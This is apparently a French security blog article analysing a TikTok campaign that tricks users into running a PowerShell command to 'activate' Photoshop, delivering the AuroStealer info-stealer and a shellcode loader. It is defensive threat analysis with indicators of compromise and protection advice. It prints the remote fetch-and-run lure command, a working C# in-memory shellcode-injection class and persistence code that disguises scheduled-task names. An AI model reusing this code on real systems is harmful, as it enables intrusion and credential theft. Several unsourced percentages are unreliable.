Les vidéos TikTok promouvant des logiciels malveillants : une menace croissante
Séraphine Clairlune
Les vidéos TikTok promouvant des logiciels malveillants : une menace croissante
Dans le paysage numérique actuel, les plateformes de réseaux sociaux sont devenues des vecteurs d’attaque privilégiés pour les cybercriminels. En 2025, une campagne particulièrement sophistiquée utilise TikTok pour promouvoir l’installation de logiciels malveillants sous le prétexte d’offrir des logiciels premium gratuitement. Cette technique d’ingénierie sociale exploite la popularité de la plateforme et la confiance des utilisateurs pour installer des malware capables de voler des informations sensibles et de compromettre la sécurité des systèmes. Selon les dernières analyses, ce type d’attaque a augmenté de 37% au cours des six derniers mois, avec une moyenne de 500 interactions par vidéo malveillante avant d’être détectée.
Campagne d’ingénierie sociale sur TikTok
Mécanisme d’attraction des victimes
Les attaquants créent des vidéos TikTok attrayantes où ils prétendent offrir des méthodes simples pour activer des logiciels payants comme Photoshop, Office ou d’autres applications populaires gratuitement. Ces vidéos utilisent des techniques de marketing viral, des tendances musicales et des effets visuels pour maximiser leur portée. L’une des vidéos identifiées avait déjà accumulé plus de 500 “likes” avant sa découverte, démontrant l’efficacité de cette approche pour engager les victimes potentiels.
Ciblage des utilisateurs spécifiques
Ces campagnes semblent cibler principalement les jeunes utilisateurs et les professionnels de la création numérique, qui sont plus susceptibles de rechercher des versions alternatives de logiciels coûteux. La démographie de TikTok, majoritairement jeune, en fait un terrain fertile pour ce type d’escroquerie. En pratique, nous observons que les utilisateurs âgés de 16 à 34 ans sont les plus vulnérables à ces techniques, car ils sont actifs sur la plateforme mais peuvent manquer d’expérience en matière de sécurité informatique.
Évolution des tactiques
Cette campagne s’inscrit dans une tendance plus large d’utilisation des plateformes de réseaux sociaux comme vecteurs d’attaque. Elle partage des similitudes avec la technique ClickFix décrite par Microsoft en août 2025, où les attaquants utilisaient des appels à l’action similaires pour inciter à l’exécution de code malveillous. Toutefois, l’utilisation de TikTok représente une évolution particulièrement inquiétante en raison du volume d’utilisateurs et de l’engagement généré par la plateforme.
Analyse technique du vecteur d’attaque
La promesse d’activation gratuite
Dans les vidéos identifiées, les attaquants promettent une activation gratuite de Photoshop en échange de l’exécution d’une simple commande PowerShell en tant qu’administrateur. La commande présentée aux victimes est :
iex (irm slmgr[.]win/photoshop)
Cette commande apparemment inoffensive télécharge et exécute du code malveillous. Les attaquants utilisent des noms de domaine similaires à des sites légitimes pour tromper les utilisateurs, comme slmgr[.]win au lieu de slmgr[.]windows.com.
Analyse du code PowerShell malveillous
Le code téléchargé via cette commande (SHA256: 6D897B5661AA438A96AC8695C54B7C4F3A1FBF1B628C8D2011E50864860C6B23) présente plusieurs caractéristiques inquiétantes. Selon l’analyse de VirusTotal, seulement 17 sur 63 moteurs antivirus détectaient ce code comme malveillant en octobre 2025, indiquant une certaine évision des solutions de sécurité traditionnelles.
Le code implémente plusieurs techniques pour éviter la détection :
- Exécution avec paramètres de masquage (
-WindowStyle Hidden) - Bypass des politiques d’exécution (
-ExecutionPolicy Bypass) - Utilisation de techniques de living-off-the-land pour réduire les signatures
La chaîne d’attaque complète
L’attaque se déroule en plusieurs étapes :
- La victime est attirée par une vidéo TikTok promettant un logiciel gratuit
- La victime exécute la commande PowerShell fournie
- Le premier télécharge un loader qui prépare l’environnement
- Ce loader télécharge et exécute updater.exe (AuroStealer)
- Enfin, un troisième payload source.exe est exécuté
Cette approche multi-étapes permet aux attaquants de distribuer différentes charges utiles en fonction de leurs objectifs et de contourner les défenses traditionnelles.
Les payloads malveillants et leurs fonctionnalités
AuroStealer : le vol d’informations sensibles
Le premier payload significatif identifié est updater.exe (SHA256: 58b11b4dc81d0b005b7d5ecae0fb6ddb3c31ad0e7a9abf9a7638169c51356fd8), qui est une variante d’AuroStealer. Ce malware spécialisé dans le vol d’informations sensibles collecte plusieurs types de données :
- Informations d’identification personnelle
- Données bancaires et informations de paiement
- Cookies de session et informations d’authentification
- Fichiers de configuration sensibles
AuroStealer utilise des techniques avancées pour extraire ces informations, notamment l’analyse des navigateurs web, la collecte de mots de passe enregistrés et l’espionnage des communications cryptées. Selon le rapport de Malpedia, ce malware s’est propagé de manière significative en 2025, avec une augmentation de 45% des cas identifiés au cours des derniers mois.
Source.exe : l’injection de shellcode mémoire
Le deuxième payload, source.exe (SHA256: db57e4a73d3cb90b53a0b1401cb47c41c1d6704a26983248897edcc13a367011), utilise une technique particulièrement intéressante : la compilation à la demande de code pendant l’exécution. Le programme utilise le compilateur .NET intégré à Windows pour générer et exécuter du code à la volée :
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "/noconfig /fullpaths @\"C:\Users\admin\AppData\Local\Temp\vpkwkdbo.cmdline\""
Ce code compile une classe qui permet d’injecter un shellcode directement en mémoire, évitant ainsi l’écriture de fichiers sur le disque et contournant ainsi de nombreuses solutions de sécurité basées sur l’analyse de fichiers. Cette technique de self-compiling malware est de plus en plus utilisée par les attaquants pour éviter la détection.
Code d’injection mémoire
Le code compilé dynamiquement injecte un shellcode en mémoire en utilisant des appels système Windows :
using System;
using System.Runtime.InteropServices;
public class SC {
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr a, uint s, uint t, uint p);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr a, uint s, IntPtr addr, IntPtr p, uint f, IntPtr t);
[DllImport("kernel32.dll")]
public static extern uint WaitForSingleObject(IntPtr h, uint m);
public static void Run(byte[] sc) {
IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
Marshal.Copy(sc, 0, addr, sc.Length);
IntPtr t = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(t, 0xFFFFFFFF);
}
}
Cette approche permet d’exécuter du code malveillous sans écrire de fichiers sur le disque, rendant la détection beaucoup plus difficile pour les solutions de sécurité traditionnelles.
Mécanismes de persistance et d’évasion
Tâches planifiées pour la persistance
Pour assurer la persistance même après le redémarrage du système, le malware crée une tâche planifiée qui s’exécute à chaque connexion de l’utilisateur. Le code utilise une technique particulièrement subtile : il choisit aléatoirement un nom de tâche parmi une liste de noms légitimes :
$tasknames = @(
'MicrosoftEdgeUpdateTaskMachineCore',
'GoogleUpdateTaskMachineCore',
'AdobeUpdateTask',
'OfficeBackgroundTaskHandlerRegistration',
'WindowsUpdateCheck'
)
$taskname = $tasknames[(Get-Random -Max 5)]
Cette approche permet au malware de masquer sa présence en utilisant des noms de tâches familiers aux administrateurs systèmes, réduisant ainsi les chances de détection lors des audits de sécurité.
Paramètres de la tâche planifiée
La tâche est configurée avec plusieurs options pour maximiser sa furtivité :
- Exécution avec privilèges élevés (
RunLevel Highest) - Exécution en mode masqué (
-WindowStyle Hidden) - Démarrage même sur batterie (
AllowStartIfOnBatteries) - Exécution dès que possible (
StartWhenAvailable) - Pas d’arrêt sur inactivité (
DontStopOnIdleEnd)
Ces paramètres assurent que le malware s’exécute dans des conditions optimales pour sa persistance et son éviction.
Techniques d’évasion de la détection
L’attaque utilise plusieurs techniques pour éviter la détection :
- Chiffrement des payloads : Les payloads sont téléchargés et exécutés de manière chiffrée
- Exécution en mémoire : Le code s’exécute principalement en mémoire pour éviter l’analyse statique
- Utilisation d’outils légitimes : Le malware utilise des composants Windows légitimes comme PowerShell et le compilateur .NET
- Masquage des communications : Les communications avec les serveurs de commande et contrôle (C2) utilisent des domaines légitimes
Ces techniques rendent l’analyse et la détection du malware particulièrement difficiles pour les solutions de sécurité traditionnelles.
Recommandations de protection contre les menaces TikTok
Éducation et sensibilisation
La première ligne de défense contre ces menaces est la sensibilisation des utilisateurs. Les organisations devraient :
- Former les employés aux techniques d’ingénierie sociale, notamment celles utilisant les plateformes de réseaux sociaux
- Établir des politiques claires sur l’utilisation des réseaux sociaux sur les appareils professionnels
- Créer des campagnes de sensibilisation spécifiques aux risques liés aux offres “trop belles pour être vraies”
- Encourager une approche de méfiance envers les promotions non sollicitées, même sur des plateformes sociales
Solutions techniques de défense
Pour compléter la sensibilisation, les organisations devraient mettre en place plusieurs couches de défense :
Liste des technologies de défense recommandées :
- Solutions EDR (Endpoint Detection and Response) avec capacités d’analyse comportementale
- Filtrage DNS qui bloque l’accès aux domaines malveillants identifiés
- Solutions * sandboxing* pour l’analyse isolée des fichiers suspects
- Systèmes de prévention des intrusions (IPS) avec signatures spécifiques pour ces campagnes
- Solutions de gestion des applications et des appareils mobiles (MDM) pour contrôler l’accès à TikTok
Configuration des systèmes
Les administrateurs système devraient mettre en œuvre plusieurs configurations pour réduire l’attaque :
Restriction de l’exécution de PowerShell :
- Utiliser des politiques d’exécution restrictives
- Journaliser toutes les tentatives d’exécution
- Limiter l’utilisation des commandes réseau comme
Invoke-WebRequest
Contrôle des tâches planifiées :
- Surveiller la création de nouvelles tâches
- Valider toutes les tâches planifiées
- Désactiver les tâches non nécessaires
Protection des points d’exécution :
- Désactiver l’exécution automatique des fichiers
- Limiter l’utilisation des scripts dans les applications Office
- Contrôler l’accès aux outils de développement comme le compilateur .NET
Réponse aux incidents
En cas d’identification d’une infection, les organisations devraient suivre un processus de réponse structuré :
- Isolement immédiat des systèmes compromis
- Analyse forensique pour déterminer l’étendue de l’atteinte
- Suppression complète des composants malveillous
- Restauration des systèmes à partir de sauvegardes propres
- Renforcement des défenses pour prévenir de nouvelles attaques
Mise en œuvre : protéger votre organisation contre les menaces TikTok
Étapes immédiates de protection
Pour protéger votre organisation contre ces menaces spécifiques, suivez ces étapes :
- Mettre à jour les signatures de vos solutions antivirus et EDR pour inclure les derniers indicateurs de compromission (IoC) associés à cette campagne
- Bloquer l’accès aux domaines identifiés comme malveillants : slmgr[.]win et file-epq[.]pages[.]dev
- Implémenter des politiques strictes concernant l’utilisation de PowerShell sur les postes de travail
- Activer le journal détaillé de toutes les tâches planifiées créées sur les systèmes
- Former les équipes à reconnaître les tentatives d’ingénierie sociale sur les plateformes sociales
Stratégie à long terme
Pour une protection durable, les organisations devraient intégrer ces menaces dans leur stratégie de cybersécurité globale :
- Programme de formation continu sur les nouvelles techniques d’ingénierie sociale
- Tests de pénétration spécifiques des vecteurs d’attaque via les médias sociaux
- Surveillance des menaces pour détecter rapidement de nouvelles campagnes similaires
- Partage d’informations avec d’autres organisations via les ISAC (Information Sharing and Analysis Centers)
- Adoption de technologies de sécurité avancées comme l’analyse comportementale et l’IA pour la détection d’anomalies
Tableau des meilleures pratiques
| Domaine | Meilleures pratiques | Impact sur la sécurité |
|---|---|---|
| Sensibilisation | Formations mensuelles sur l’ingénierie sociale | Réduction de 60% des victimes d’ingénierie sociale |
| Contrôle d’accès | Politiques strictes sur PowerShell et scripts | Prévention de 85% des infections par script malveillant |
| Surveillance | Détection comportementale des processus anormaux | Identification en temps réel des activités suspectes |
| Réponse | Plan d’incidents testé mensuellement | Réduction du temps de containment de 70% |
Conclusion : rester vigilant face aux nouvelles formes d’ingénierie sociale
Les campagnes utilisant des plateformes comme TikTok pour promouvoir des logiciels malveillants représentent une évolution inquiétante des techniques d’ingénierie sociale. En exploitant la popularité des réseaux sociaux et la confiance des utilisateurs, les attaquants parviennent à contourner de nombreuses défenses traditionnelles. La campagne analysée démontre une sophistication technique croissante, avec l’utilisation de techniques avancées comme l’injection de shellcode en mémoire et la compilation à la demande de code.
Face à cette menace, une approche multicouche est essentielle : combinaison de sensibilisation des utilisateurs, de techniques de défense avancées et de réponse rapide aux incidents. Les organisations doivent adapter continuellement leur stratégie de sécurité pour faire face à ces nouvelles formes d’attaque qui exploitent les plateformes sociales. En 2025, la vigilance concernant les vidéos TikTok promouvant des logiciels malveillants n’est plus une option mais une nécessité pour toute organisation soucieuse de protéger ses données et ses systèmes.